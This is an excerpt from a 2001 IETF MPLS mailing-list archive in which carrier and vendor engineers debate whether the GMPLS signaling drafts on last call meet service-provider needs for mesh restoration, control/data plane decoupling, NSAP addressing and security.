> > > > > The last call closes May 29, 12 pm GMT.
> > > > >
> > > > >
> > > > > -  V2KG (Vijay, Vijay, Kireeti, & George)
> > > > >
> > > > >
> > > > > ======================================================================
> > > > > George Swallow       Cisco Systems                   (978) 244-8143
> > > > >                      250 Apollo Drive
> > > > >                      Chelmsford, Ma 01824
> > > > >
> > > > >
> > > > >
> > > > >
> > > > >
> > > >
> > > > _______________________________________________
> > > > IP-Optical mailing list
> > > > IP-Optical@lists.bell-labs.com
> > > > http://lists.bell-labs.com/mailman/listinfo/ip-optical
> > >
> > > _______________________________________________
> > > IP-Optical mailing list
> > > IP-Optical@lists.bell-labs.com
> > > http://lists.bell-labs.com/mailman/listinfo/ip-optical
> >
> > _______________________________________________
> > IP-Optical mailing list
> > IP-Optical@lists.bell-labs.com
> > http://lists.bell-labs.com/mailman/listinfo/ip-optical


From owner-mpls@UU.NET  Tue May 29 17:06:44 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA11224
	for <mpls-archive@lists.ietf.org>; Tue, 29 May 2001 17:06:44 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrds27324;
	Tue, 29 May 2001 21:07:03 GMT
Received: by mail-control.mail.uu.net 
	id QQkrds24185
	for mpls-outgoing; Tue, 29 May 2001 21:06:30 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkrds23454
	for <mpls@mail-control.mail.uu.net>; Tue, 29 May 2001 21:06:09 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkrds20310
	for <mpls@UU.NET>; Tue, 29 May 2001 21:05:55 GMT
Received: from radiant.chromisys.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: radiant.calient.net [63.102.55.206])
	id QQkrds27024
	for <mpls@UU.NET>; Tue, 29 May 2001 21:05:54 GMT
Received: by radiant.chromisys.com with Internet Mail Service (5.5.2653.19)
	id <LD7RL0SP>; Tue, 29 May 2001 14:00:56 -0700
Message-ID: <A1AFE5CF886C5D439494D9D5DE84EEF3737072@radiant.chromisys.com>
From: John Drake <jdrake@calient.net>
To: "'Bala Rajagopalan'" <BRaja@tellium.com>,
        "'Tarapore, Percy S'"
	 <tarapore@att.com>,
        "'C. R. Kalmanek'" <crk@research.att.com>,
        John Drake <jdrake@calient.net>
Cc: ccamp@ops.ietf.org, mpls@UU.NET
Subject: RE: GMPLS Last Calls
Date: Tue, 29 May 2001 14:00:55 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

fine with me

-----Original Message-----
From: Bala Rajagopalan [mailto:BRaja@tellium.com]
Sent: Friday, May 25, 2001 2:23 PM
To: 'Tarapore, Percy S'; Bala Rajagopalan; 'C. R. Kalmanek'; John Drake
Cc: ccamp@ops.ietf.org; mpls@UU.NET
Subject: RE: GMPLS Last Calls



This would be fine with me. John? Lou?

regards,


Bala Rajagopalan
Tellium, Inc.
2 Crescent Place
P.O. Box 901
Oceanport, NJ 07757-0901
Tel: (732) 923-4237
Fax: (732) 923-9804
Email: braja@tellium.com 

> -----Original Message-----
> From: Tarapore, Percy S [mailto:tarapore@att.com]
> Sent: Friday, May 25, 2001 4:34 PM
> To: 'Bala Rajagopalan'; 'C. R. Kalmanek'; John Drake
> Cc: ccamp@ops.ietf.org; mpls@UU.NET
> Subject: RE: GMPLS Last Calls
> 
> 
> Bala,
> 
> Are you suggesting that restoration signaling requirements be 
> formulated in
> a separate GMPLS draft at a later date? If so, the current 
> draft should add
> text regarding the current scope (link protection only) as 
> well as future
> work (restoration) in Section 7.
> 
> Percy
> 
> -----Original Message-----
> From: Bala Rajagopalan [mailto:BRaja@tellium.com]
> Sent: Friday, May 25, 2001 1:57 PM
> To: 'C. R. Kalmanek'; John Drake
> Cc: ccamp@ops.ietf.org; mpls@UU.NET
> Subject: RE: GMPLS Last Calls
> 
> 
> 
> Chuck:
> 
> I believe that the restoration issue can be
> dealt with indepedent of the current drafts
> on last call. Do you see any obstacles to
> adding new objects/semantics (if any) to support
> restoration requirements as they arise?
> 
> BTW, there are some drafts floating around
> on shared mesh.
> 
> regards,
> 
> Bala Rajagopalan
> Tellium, Inc.
> 2 Crescent Place
> P.O. Box 901
> Oceanport, NJ 07757-0901
> Tel: (732) 923-4237
> Fax: (732) 923-9804
> Email: braja@tellium.com 
> 
> > -----Original Message-----
> > From: C. R. Kalmanek [mailto:crk@research.att.com]
> > Sent: Friday, May 25, 2001 1:08 PM
> > To: John Drake
> > Cc: 'Tarapore, Percy S'; Ash, Gerald R (Jerry); ccamp@ops.ietf.org;
> > mpls@UU.NET
> > Subject: Re: GMPLS Last Calls
> > 
> > 
> > I fully agree: there are a whole spectrum of options that we
> > need to sort through, and clear requirements are needed to
> > guide that process.  Our concern is with the last call.  It
> > doesn't make sense to progress drafts to RFC that are likely 
> > in hindsight to be viewed as having serious deficiencies in
> > meeting restoration requirements.
> > 
> > chuck
> > 
> > John Drake wrote:
> > > 
> > > The point is that in GMPLS, as in regular MPLS, restoration 
> > consists of
> > > rerouting from the endpoints upon
> > > notification of failure.  There are a whole spectrum of 
> > path and span
> > > protection possibilites beyond this
> > > that people (including us) have proposed, but in the 
> absence of firm
> > > requirements, it's hard to know which
> > > to pursue.  I'm not sure 'shared mesh restoration' 
> > completely covers it.
> > > 
> > > Thanks,
> > > 
> > > John
> > > 
> > > -----Original Message-----
> > > From: C. R. Kalmanek [mailto:crk@research.att.com]
> > > Sent: Friday, May 25, 2001 9:54 AM
> > > To: John Drake
> > > Cc: 'Tarapore, Percy S'; Ash, Gerald R (Jerry); 
> ccamp@ops.ietf.org;
> > > mpls@uu.net
> > > Subject: Re: GMPLS Last Calls
> > > 
> > > John,
> > > 
> > > While there currently are no restoration requirements from the
> > > TE (or other) group, what Percy is saying is that shared mesh
> > > restoration WILL be a requirement from those groups.  Since the
> > > current GMPLS drafts don't meet this requirement, they are
> > > unlikely to meet key SP needs.
> > > 
> > > I don't understand a process that starts the requirements
> > > development after last call for the signaling specifications.
> > > 
> > > chuck
> > > 
> > > John Drake wrote:
> > > >
> > > > Percy,
> > > >
> > > > There has been work on protocols for path restoration in 
> > mesh networks by
> > > a
> > > > number of
> > > > people.  However, at the last IETF Kireeti and Vijay 
> > clearly indicated
> > > that
> > > > this work,
> > > > while interesting, wouldn't be allowed to progress in 
> advance of a
> > > > restoration requirements
> > > > draft from the TE group.
> > > >
> > > > Thanks,
> > > >
> > > > John
> > > >
> > > > -----Original Message-----
> > > > From: Tarapore, Percy S [mailto:tarapore@att.com]
> > > > Sent: Thursday, May 24, 2001 11:55 AM
> > > > To: Ash, Gerald R (Jerry); ccamp@ops.ietf.org; mpls@uu.net
> > > > Subject: RE: GMPLS Last Calls
> > > >
> > > > There is a significant issue related to the absence of 
> > restoration in the
> > > > signaling draft
> > > >
> > > 
> > (http://www.ietf.org/internet-drafts/draft-ietf-mpls-generaliz
> > ed-signaling-0
> > > > 4.txt). Very specifically, Section 7 of this draft deals 
> > with the case
> > > > involving protection information for link protection. While link
> > > protection
> > > > schemes may be desirable for fast recovery related to 
> > high priority LSP's,
> > > > more cost-effective shared mesh restoration schemes would 
> > be preferred for
> > > > the majority of traffic from a Service Provider's 
> > perspective. This
> > > > observation is supported by the fact that many vendors 
> > are currently
> > > > developing proprietary schemes for shared mesh 
> > restoration. Hence, in
> > > > addition to the protection information, GMPLS signaling 
> > needs to reflect a
> > > > minimum set of information/attributes required for shared 
> > mesh restoration
> > > > without jeopardizing vendor proprietary solutions.
> > > >
> > > > The need for multiple types of restoration capabilities 
> > is well documented
> > > > in the OIF/UNI I-D
> > > >
> > > 
> > http://search.ietf.org/internet-drafts/draft-many-carrier-fram
> > ework-uni-00.t
> > > > xt as follows:
> > > >
> > > > " Multiple types of facilities available for restoration 
> > are needed
> > > >    within the network. The following options should be 
> > considered for
> > > >    allocation of facilities to support restoration of failed
> > > >    connections:
> > > >    - Dedicated restoration capacity
> > > >    - Shared restoration capacity. This allows the network 
> > to ensure
> > > >      high quality service for customers, while still 
> managing its
> > > >      physical resources efficiently.
> > > >    - Un-restorable
> > > >    - Pre-emptable"
> > > >
> > > > The OIF/UNI I-D supports a range of different restoration 
> > schemes through
> > > > the use of service level as a connection attribute. This 
> > attribute is
> > > > defined as follows:
> > > >
> > > > " an integer attribute that indicates a class of service. 
> > A carrier may
> > > > specify a range of different classes of service (e.g. 
> > gold, silver,
> > > bronze)
> > > > with predefined characteristics (e.g. restoration plans). 
> > The pre-defined
> > > > service types correspond to different types of network 
> > restoration (e.g.
> > > no
> > > > restoration, 1+1 protection), connection set-up and hold 
> > priorities,
> > > > reversion strategies for the connection after failures 
> > have been repaired,
> > > > and retention strategies."
> > > >
> > > > It is therefore important that GMPLS be extended to be 
> > able to support
> > > such
> > > > restoration schemes.
> > > >
> > > > Percy S. Tarapore
> > > > AT&T Labs
> > > >
> > > > -----Original Message-----
> > > > From: Ash, Gerald R (Jerry)
> > > > Sent: Thursday, May 24, 2001 2:20 PM
> > > > To: ccamp@ops.ietf.org; mpls@uu.net
> > > > Cc: Ash, Gerald R (Jerry)
> > > > Subject: RE: GMPLS Last Calls
> > > >
> > > > Quoting from the CCAMP/IETF-50 meeting minutes re the 
> > GMPLS Architecture
> > > > draft:
> > > >
> > > > "Eve - Had hoped that CCAMP formation and expression of 
> > requirements would
> > > > enable us to do more with architecture than reverse 
> > architect proposed
> > > > solution. Think we should also look at carrier 
> > requirements and look for
> > > > discrepancies with architecture.
> > > > Curtis - requirements of carriers not being addressed?
> > > > Eve - happy to discuss on mailing list in absence of time"
> > > >
> > > > There are still no documented service provider (SP) 
> > requirements driving
> > > the
> > > > proposed GMPLS protocol extensions.  This is inconsistent 
> > with the current
> > > > initiatives to provide SP requirements prior to protocol 
> > extensions being
> > > > accepted, such as for protection/restoration, network 
> > hierarchy, MPLS OAM,
> > > > MPLS/DiffServ TE, multi-area TE, etc.
> > > >
> > > > Here is a sample of SP requirements that are not being 
> > addressed (other
> > > > requirements from our perspective are forthcoming):
> > > >
> > > > 1. Restoration requirements, particularly in support of 
> > mesh restoration,
> > > > need to be supported by GMPLS.  For example, Section 7 of 
> > the Generalized
> > > > Signaling I-D
> > > >
> > > 
> > (http://www.ietf.org/internet-drafts/draft-ietf-mpls-generaliz
> > ed-signaling-0
> > > > 4.txt)
> > > > primarily discusses link protection, restoration 
> > capabilities are largely
> > > > missing and need to be included.
> > > >
> > > > 2. Standards explicitly supported by GMPLS, such as 
> > G.707, G.709, etc.,
> > > > should be clearly identified in the text and referenced 
> > in the GMPLS I-Ds,
> > > > e.g., in Section 3.1 of the Generalized Signaling I-D, 
> add "G.707
> > > [Reference
> > > > G.707] is supported by the Generalized Label Request."
> > > >
> > > > As per Eve's comment at IETF-50, SPs are encouraged to 
> post their
> > > > requirements to the list.  It would also help if more SPs 
> > were invited to
> > > > co-author the GMPLS drafts, to help ensure that SP 
> > requirements are more
> > > > adequately reflected and addressed.
> > > >
> > > > Jerry Ash
> > > > AT&T Labs
> > > >
> > > > -----Original Message-----
> > > > From: George Swallow [mailto:swallow@cisco.com]
> > > > Sent: Monday, May 14, 2001 1:52 PM
> > > > To: ccamp@ops.ietf.org; mpls@uu.net
> > > > Subject: GMPLS Last Calls
> > > >
> > > > This message initiates a last call on four GMPLS 
> drafts.  The last
> > > > call is being issued jointly in the MPLS and CCAMP workgroups.
> > > >
> > > > The drafts are:
> > > >
> > > >     1.  Generalized MPLS - Signaling Functional Description
> > > >
> > > >            <draft-ietf-mpls-generalized-signaling-04.txt>
> > > >
> > > >     2.  Generalized MPLS Signaling - RSVP-TE Extensions
> > > >
> > > >            <draft-ietf-mpls-generalized-rsvp-te-03.txt>
> > > >
> > > >     3.  Generalized MPLS Signaling - CR-LDP Extensions
> > > >
> > > >            <draft-ietf-mpls-generalized-cr-ldp-03.txt>
> > > >
> > > >     4.  GMPLS Extensions for SONET and SDH Control
> > > >
> > > >            <draft-ietf-ccamp-gmpls-sonet-sdh-00.txt>
> > > >
> > > > The last call closes May 29, 12 pm GMT.
> > > >
> > > > -  V2KG (Vijay, Vijay, Kireeti, & George)
> > > >
> > > > 
> > 
> ======================================================================
> > > > George Swallow       Cisco Systems                   
> > (978) 244-8143
> > > >                      250 Apollo Drive
> > > >                      Chelmsford, Ma 01824
> > 
> 


From owner-mpls@UU.NET  Tue May 29 17:28:08 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA11459
	for <mpls-archive@lists.ietf.org>; Tue, 29 May 2001 17:28:08 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrdt22439;
	Tue, 29 May 2001 21:28:27 GMT
Received: by mail-control.mail.uu.net 
	id QQkrdt29012
	for mpls-outgoing; Tue, 29 May 2001 21:27:50 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkrdt28996
	for <mpls@mail-control.mail.uu.net>; Tue, 29 May 2001 21:27:31 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkrdt28172
	for <mpls@UU.NET>; Tue, 29 May 2001 21:24:55 GMT
Received: from relay1.alcatel.be by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: alc119.alcatel.be [195.207.101.119])
	id QQkrdt07839
	for <mpls@UU.NET>; Tue, 29 May 2001 21:24:54 GMT
Received: from bemail05.net.alcatel.be (localhost [127.0.0.1])
	by relay1.alcatel.be (8.10.1/8.10.1) with SMTP id f4TLOXr06656;
	Tue, 29 May 2001 23:24:33 +0200 (MET DST)
Received: from alcatel.be ([138.203.67.90]) by bemail05.net.alcatel.be (Lotus SMTP MTA v4.6.7  (934.1 12-30-1999)) with SMTP id C1256A5B.00759295; Tue, 29 May 2001 23:24:12 +0200
Message-ID: <3B141377.A4DBFE72@alcatel.be>
Date: Tue, 29 May 2001 23:24:07 +0200
From: Dimitri Papadimitriou <dimitri.papadimitriou@alcatel.be>
Organization: Alcatel Bell - IPO NSG
X-Mailer: Mozilla 4.72 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Eve Varma <evarma@lucent.com>
CC: ccamp@ops.ietf.org, mpls@UU.NET, ip-optical@lists.bell-labs.com,
        tsg15q11@itu.int, t1x15@t1.org
Subject: Re: [IP-Optical] RE: GMPLS Last Calls
References: <71DA16F18D32D2119A1D0000F8FE9A94092DDE4C@mbtlipnt01.btlabs.bt.co.uk> <3B13DFA9.BBD8E678@hotair.hobl.lucent.com> <3B14093F.ED016D1A@alcatel.be> <3B140FF9.42680F27@hotair.hobl.lucent.com>
Content-Type: multipart/mixed;
 boundary="------------04BBA6BE70D5D55BD1C0ACA0"
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multi-part message in MIME format.
--------------04BBA6BE70D5D55BD1C0ACA0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Eve,

There are today lot of design teams at the TE WG, PPVPN etc.
Do you speak here about the ones being proposed at the TE WG 
on "network survivability" and "hierarchical TE" ? I think
that some additional information would be useful to understand
to which one you refer here.

Thanks,
Dimitri.

Eve Varma wrote:
> 
> Hi Dimitri,
>    Sorry - missed your first question.  I was not referring to an NNI
> OIF team; I was referring to the IETF team being formed.
>                          Eve
> 
> Dimitri Papadimitriou wrote:
> >
> > Hi,
> >
> > In this e-mail you speak about a "Requirements Design Team"
> > do you refer to the NNI OIF project here i guess ?
> >
> > I wouldn't like to (re-)explain here the nice "reception" offered
> > during the San Diego IETF meeting on the BT draft. Moreover, what's
> > sound very strange here is that the author himself didn't present
> > his draft during the last IETF meeting (since there was a -01 version)!
> > Are you serious when you speak about ASON UNI requirements at the
> > IETF ?
> >
> > You speak about GMPLS profiles for the UNI at the OIF, and potentially
> > in the future for ASTN/ASON which are completely independent of the
> > current GMPLS specification (self-consistency). We don't taylor a
> > protocol suite based on the model to which we have to apply it since
> > if the model change - you have to re-design your protocol ! -. Today
> > GMPLS can be accomodated to any UNI/NNI interfaces coming from
> > wherever you want. Why ? Because from the beginning it is a model
> > independent specification ! By defining the profile you desire you
> > can apply it to the OIF UNI / ASON UNI (if still needed) / etc. Also,
> > don't spend to many time at the OIF to define the architecture it is
> > already done...
> >
> > Now you mention one question which is under discussion about the
> > correlation between the planes... the good point is that with the
> > current work done at the IETF and OIF a solution will be found.
> > However this does not mean AT ALL that the current GMPLS
> > specifications are not going toward a very good direction. Therefore
> > i don't think we need the additional text as you propose. In fact this
> > is clearly an extended problem of the "restoration" issue already
> > discussed on this mailing list and we already agree upon.
> >
> > Thanks,
> > - Dimitri.
> >
> > Eve Varma wrote:
> > >
> > > Hi all,
> > >
> > > Watching the various emails regarding the GMPLS drafts, I see several
> > > issues being raised related to some concerns that service provider
> > > requirements haven't been sufficiently reflected in the GMPLS signaling
> > > specifications - or at least, not been tested against.  (An initial set
> > > of requirements was provided by BT on
> > > Considerations on the development of an Optical Control Plane -
> > > http://search.ietf.org/internet-drafts/draft-freeland-octrl-cons-01.txt.
> > > Monica has mentioned other currently available sources of service
> > > provider requirements as well, such as the Carriers Optical Services
> > > Framework and Associated Requirements for the UNI, developed in the OIF
> > > and submitted to T1 and ITU-T.  Some requirements were also submitted
> > > earlier in the draft Requirements on the ASON UNI -
> > > http://search.ietf.org/internet-drafts/draft-lin-mpls-ipo-ason-uni-00.txt.
> > > )
> > >
> > > For example, assuring separation of the control plane from the data
> > > plane continues to arise - the GMPLS architecture document mentions this
> > > separation, but it's not clear how the GMPLS signaling specifications
> > > reflect the implications of this decoupling.  This is best illustrated
> > > in the handling of control plane failures.  In particular, what happens
> > > to established circuit connections if the control plane fails? If the
> > > control plane recovers, how do we sync the connection state?  As an
> > > example, from RSVP RFC: "RSVP takes a "soft state" approach to managing
> > > the reservation state in routers and hosts. RSVP soft state is created
> > > and periodically refreshed by Path and Resv messages. The state is
> > > deleted if no matching refresh messages arrive before the expiration of
> > > a "cleanup timeout" interval." This means that if for whatever reason
> > > control messages are lost, the associated data paths will be released.
> > > Thus there is strong failure correlation between the control plane and
> > > data plane, which is inconsistent with the GMPLS architecture document,
> > > and also results in tearing down optical connections resulting from even
> > > temporary failures in the control plane.
> > >
> > > I also understand the other comments from Hirokazu and Shehzad re
> > > exclusion of NSAP, having been at the last OIF meeting where there was
> > > considerable and spirited discussion of this issue.  The current GMPLS
> > > architecture document specifically excludes NSAP, and from the last OIF
> > > meeting 6 out of 12 operators discussing this issue felt there was some
> > > need to support NSAP addressing.
> > >
> > > Given that the Requirements Design Team will be starting shortly, I
> > > concur with Yuri's suggestion for inclusion of a clear statement of what
> > > is - and isn't - covered in the GMPLS Signaling Description, RSVP
> > > Extensions, LDP Extensions drafts.   A suggestion for such text is
> > > provided below (the intro will need to be tailored to each draft):
> > >
> > > "Overall, the objective of Generalized MPLS is to adapt MPLS signaling
> > > and other protocols to enable their applicability to various switching
> > > technologies.   A key motivating application has been applicability to
> > > support a distributed control plane for various circuit-switching
> > > technologies.   The signaling specifications contained within the these
> > > drafts offer a starting point towards this goal; their current scope and
> > > applicability, and areas for further assessment, are summarized below:
> > >
> > > These drafts provide some extensions to traditional MPLS signaling and
> > > the basic signaling mechanisms provided in RSVP and LDP Ids (RFCs and
> > > standard track documents) have not been modified.   It is noted that
> > > MPLS signaling has been designed with a focus upon packet-switched
> > > network based applications, utilizing  requirements and architectural
> > > constructs suitable for such applications.   There may be significant
> > > distinguishing characteristics with regard to requirements and
> > > architectural considerations  for a distributed control plane that
> > > supports circuit-switched network applications.  One well acknowledged
> > > instance involves the decoupling of the control plane from the data
> > > plane.  Such differences may have substantive impact on the signaling
> > > mechanisms, the details of which require further study.  In addition,
> > > upon further study of operational requirements and circuit-switching
> > > technology specific aspects, further signaling extensions may be
> > > required.
> > >
> > > These drafts are focussed upon intra-area signaling interfaces, and do
> > > not address issues and considerations related to other domains of
> > > usage.   Applicability to inter-area and inter-domain interfaces
> > > requires further study."
> > >
> > > Hope this helps us move forward.
> > >
> > > Cheers,
> > >   Eve
> > >
> > > itu
> > >
> > > shehzad.mirza@bt.com wrote:
> > > >
> > > > Hi,
> > > >
> > > > I fully agree with Hirokokazu Ishimatsu's concerns on the GMPLS signalling
> > > > drafts.
> > > >
> > > > (1) Decoupling of the control plane from the data plane should be clearly
> > > > stated.
> > > >
> > > > This decoupling clearly has an impact on how the protocols should be defined
> > > > to cope with control plane failures.
> > > >
> > > > (2) Exclusion of NSAP
> > > >
> > > > The GMPLS architecture document, (which logically speaking should perhaps
> > > > have been put forward for last call, ahead of the functional description)
> > > > explicitly excludes NSAP.  NSAP addressing is used within SDH/SONET
> > > > communications channels (DCC bytes) therefore the use of alternative
> > > > addressing within the same channels may have an adverse effect on
> > > > interworking with legacy equipment, particularly with regard to management.
> > > > This raises the general concern of what level of compatibility is
> > > > required/desired with legacy SDH/SONET equipment.  This debate whilst likely
> > > > to be contentious, is unavoidable as the interworking of control plane,
> > > > management plane and transport will have a direct impact on how this
> > > > equipment is deployed and the economics of whether such deployments will
> > > > ever pay off.
> > > >
> > > > (3) Requirements from both security and OSS has not been discussed fully
> > > > yet.
> > > >
> > > > Security concerns have not been fully addressed, particularly at the
> > > > architectural level.  The use of separate control network may necessitate
> > > > the need for 24 hour staff to protect against 'Denial of Service' attacks as
> > > > currently happens for IP router networks.  The interaction between the
> > > > management plane and control plane need to be addressed, for example it is
> > > > undesirable to have multiple alarms generated when circuits are created and
> > > > torn down otherwise the management of a large scale network will become
> > > > impossible.  Discussions on service aspects need to take place, otherwise
> > > > the adoption of GMPLS equipment may be hampered, by these (solvable)
> > > > concerns.
> > > >
> > > > Best regards
> > > >
> > > > Shehzad Mirza
> > > >
> > > >
> > > >
> > > > > -----Original Message-----
> > > > > From: Hirokazu Ishimatsu [SMTP:hirokazu@japan-telecom.co.jp]
> > > > > Sent: 29 May 2001 02:46
> > > > > To:   George Swallow; ccamp; mpls
> > > > > Cc:   ip-optical; tsg15q11; tsg13q10
> > > > > Subject:      [IP-Optical] RE: GMPLS Last Calls
> > > > >
> > > > > Hi,
> > > > >
> > > > > From a carrier's perspective, my concerns about GMPLS signaling drafts
> > > > > are as follows:
> > > > >
> > > > > (1) Decoupling of the control plane from the data plane should be clearly
> > > > >      stated.
> > > > > (2) Exclusion of NSAP
> > > > > (3) Requirements from both security and OSS (Operating Support System)
> > > > >      has not been discussed fully yet.
> > > > >
> > > > > Best regards,
> > > > > Hirokazu Ishimatsu
> > > > > Japan Telecom
> > > > >
> > > > > > -----Original Message-----
> > > > > > From: owner-ccamp@ops.ietf.org [mailto:owner-ccamp@ops.ietf.org]On
> > > > > > Behalf Of George Swallow
> > > > > > Sent: Tuesday, May 15, 2001 2:52 AM
> > > > > > To: ccamp@ops.ietf.org; mpls@uu.net
> > > > > > Subject: GMPLS Last Calls
> > > > > >
> > > > > >
> > > > > > This message initiates a last call on four GMPLS drafts.  The last
> > > > > > call is being issued jointly in the MPLS and CCAMP workgroups.
> > > > > >
> > > > > > The drafts are:
> > > > > >
> > > > > >     1.  Generalized MPLS - Signaling Functional Description
> > > > > >
> > > > > >            <draft-ietf-mpls-generalized-signaling-04.txt>
> > > > > >
> > > > > >
> > > > > >     2.  Generalized MPLS Signaling - RSVP-TE Extensions
> > > > > >
> > > > > >            <draft-ietf-mpls-generalized-rsvp-te-03.txt>
> > > > > >
> > > > > >
> > > > > >     3.  Generalized MPLS Signaling - CR-LDP Extensions
> > > > > >
> > > > > >            <draft-ietf-mpls-generalized-cr-ldp-03.txt>
> > > > > >
> > > > > >
> > > > > >     4.  GMPLS Extensions for SONET and SDH Control
> > > > > >
> > > > > >            <draft-ietf-ccamp-gmpls-sonet-sdh-00.txt>
> > > > > >
> > > > > >
> > > > > > The last call closes May 29, 12 pm GMT.
> > > > > >
> > > > > >
> > > > > > -  V2KG (Vijay, Vijay, Kireeti, & George)
> > > > > >
> > > > > >
> > > > > > ======================================================================
> > > > > > George Swallow       Cisco Systems                   (978) 244-8143
> > > > > >                      250 Apollo Drive
> > > > > >                      Chelmsford, Ma 01824
> > > > > >
> > > > > >
> > > > > >
> > > > > >
> > > > > >
> > > > >
> > > > > _______________________________________________
> > > > > IP-Optical mailing list
> > > > > IP-Optical@lists.bell-labs.com
> > > > > http://lists.bell-labs.com/mailman/listinfo/ip-optical
> > > >
> > > > _______________________________________________
> > > > IP-Optical mailing list
> > > > IP-Optical@lists.bell-labs.com
> > > > http://lists.bell-labs.com/mailman/listinfo/ip-optical
> > >
> > > _______________________________________________
> > > IP-Optical mailing list
> > > IP-Optical@lists.bell-labs.com
> > > http://lists.bell-labs.com/mailman/listinfo/ip-optical
--------------04BBA6BE70D5D55BD1C0ACA0
Content-Type: text/x-vcard; charset=us-ascii;
 name="dimitri.papadimitriou.vcf"
Content-Description: Card for Dimitri Papadimitriou
Content-Disposition: attachment;
 filename="dimitri.papadimitriou.vcf"
Content-Transfer-Encoding: 7bit

begin:vcard 
n:Dimitri;Papadimitriou Dimitri
tel;home:+32 2 3434361
tel;work:+32 3 2408491
x-mozilla-html:FALSE
url:http://www.alcatel.com
org:Alcatel Bell;IPO NSG - Antwerpen 
version:2.1
email;internet:dimitri.papadimitriou@alcatel.be
title:Optical Networking R&S - Senior Engineer
adr;quoted-printable:;;Francis Wellesplein, 1=0D=0AB-2018 Antwerpen;;;;BELGIUM
fn:Papadimitriou Dimitri
end:vcard

--------------04BBA6BE70D5D55BD1C0ACA0--



From owner-mpls@UU.NET  Tue May 29 17:29:12 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA11473
	for <mpls-archive@lists.ietf.org>; Tue, 29 May 2001 17:29:12 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrdt25160;
	Tue, 29 May 2001 21:29:31 GMT
Received: by mail-control.mail.uu.net 
	id QQkrdt29037
	for mpls-outgoing; Tue, 29 May 2001 21:28:10 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkrdt29018
	for <mpls@mail-control.mail.uu.net>; Tue, 29 May 2001 21:27:53 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkrdt04392
	for <mpls@UU.NET>; Tue, 29 May 2001 21:27:35 GMT
Received: from hoemail2.firewall.lucent.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: hoemail2.lucent.com [192.11.226.163])
	id QQkrdt21375
	for <mpls@UU.NET>; Tue, 29 May 2001 21:27:34 GMT
Received: from hoemail2.firewall.lucent.com (localhost [127.0.0.1])
	by hoemail2.firewall.lucent.com (Switch-2.1.1/Switch-2.1.0) with ESMTP id f4TLRYX09254
	for <mpls@UU.NET>; Tue, 29 May 2001 17:27:34 -0400 (EDT)
Received: from hotair.hobl.lucent.com (h199-118-135-2.lucent.com [199.118.135.2])
	by hoemail2.firewall.lucent.com (Switch-2.1.1/Switch-2.1.0) with SMTP id f4TLRXw09244;
	Tue, 29 May 2001 17:27:33 -0400 (EDT)
Received: from hotair.hobl.lucent.com by hotair.hobl.lucent.com (SMI-8.6/EMS-1.5 sol2)
	id RAA10062; Tue, 29 May 2001 17:27:32 -0400
Message-ID: <3B141741.863780C5@hotair.hobl.lucent.com>
Date: Tue, 29 May 2001 17:40:17 -0400
From: Eve Varma <evarma@lucent.com>
X-Mailer: Mozilla 4.5 [en] (Win95; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Dimitri Papadimitriou <dimitri.papadimitriou@alcatel.be>
CC: Eve Varma <evarma@lucent.com>, ccamp@ops.ietf.org, mpls@UU.NET,
        ip-optical@lists.bell-labs.com, tsg15q11@itu.int, t1x15@t1.org
Subject: Re: [IP-Optical] RE: GMPLS Last Calls
References: <71DA16F18D32D2119A1D0000F8FE9A94092DDE4C@mbtlipnt01.btlabs.bt.co.uk> <3B13DFA9.BBD8E678@hotair.hobl.lucent.com> <3B14093F.ED016D1A@alcatel.be> <3B140FF9.42680F27@hotair.hobl.lucent.com> <3B141377.A4DBFE72@alcatel.be>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hi Dimitri,
   Yes - I'm also trying to better understand the scope of the teams.
                         Cheers,
                             Eve

Dimitri Papadimitriou wrote:
> 
> Eve,
> 
> There are today lot of design teams at the TE WG, PPVPN etc.
> Do you speak here about the ones being proposed at the TE WG
> on "network survivability" and "hierarchical TE" ? I think
> that some additional information would be useful to understand
> to which one you refer here.
> 
> Thanks,
> Dimitri.
> 
> Eve Varma wrote:
> >
